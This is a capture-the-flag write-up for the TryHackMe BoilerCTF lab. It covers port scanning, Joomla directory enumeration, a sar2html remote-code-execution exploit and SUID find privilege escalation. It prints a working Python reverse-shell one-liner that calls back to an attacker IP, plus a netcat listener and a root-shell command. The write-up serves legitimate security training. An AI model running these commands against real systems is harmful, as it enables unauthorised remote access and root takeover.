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Synopsis
BoilerCTF is an intermediate level CTF. It involves conducting an extensive network scan of
a target machine finding the discovery of hidden open ports. Then we utilize gobuster to
explore a Joomla CMS on port 80, uncovering significant directories such as "_tmp." By
searching for the exploit "sar2html" via searchsploit, a Python exploit grants system access
when provided with a specific link. Examination of "backup.sh" reveals credentials for
another user, leading to access of the user flag. Then we leverage the SUID command to
discover the "find" command with elevated privileges, referencing GTFOBins for obtaining a
root shell.

Skills required:
● Linux Fundamentals
● Network Enumeration
● Web Enumeration

https://tryhackme.com/p/jsiu7900
https://tryhackme.com/p/MrSeth6797


1

Skills learned:
● Sar2html exploit
● SUID privilege escalation

Enumeration

nmap
We will start off with an nmap scan.

ip=10.10.122.177

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/'
-f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sV $ip

Doing this will reveal the outputs:
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Nmap scan shows SSH running on port 55007, HTTP on port 80 and 10000, and FTP on port
21

HTTP
Going to the HTTP server first, just a regular apache page. I checked the source code
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So, let’s run gobuster and see what we can find

gobuster dir -u $ip -w wl/dirbuster/directory-list-2.3-small.txt -t 60

Looks like we have a Joomla CMS

Let’s further enumerate the /joomla
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Wow! That’s a lot of things to look for. The /administrator page looks interesting, lets find
out:

Looks like a login page, maybe we can find the credentials and possibly get a reverse shell?

Let’s start from the top of /joomla/_test

An interesting page, something you typically wouldn’t see.

Searching on searchsploit for sar2html, we have 2 remote code executions, both of which
use the same method:
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Looking at one of the exploits we have python code to see how it works:

So all we need to do is just input the url, and now we can execute code remotely, meaning
we can just get a reverse shell that way



6

Now we still start a netcat listener and input the reverse shell code:

nc -nlvp 1234

And the reverse shell code I use was in python:

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM
);s.connect(("10.2.116.67",1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;
pty.spawn("/bin/bash")'

And we’re in:

Doing sudo -l required a password, so we just looked for SUID commands next:
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And the find command shows up, which is excellent, meaning we can get root

Using this code from gtfobins, we can establish ourselves as root

find . -exec /bin/sh -p \; -quit

Now lets go search for the user and root flags
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In basterd user folder, we can find stoner’s password:

And the user.txt:

We can also find the credentials of basterd in log.txt:

And we are done!
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The intended way was definitely to get to user ‘basterd’ first, then use horizontal escalation
to user ‘stoner’, but we can just get to root straight away using the SUID find command,
even just as user www-data.

So I did it the shorter way, but regardless, we found all of the flags even as root.


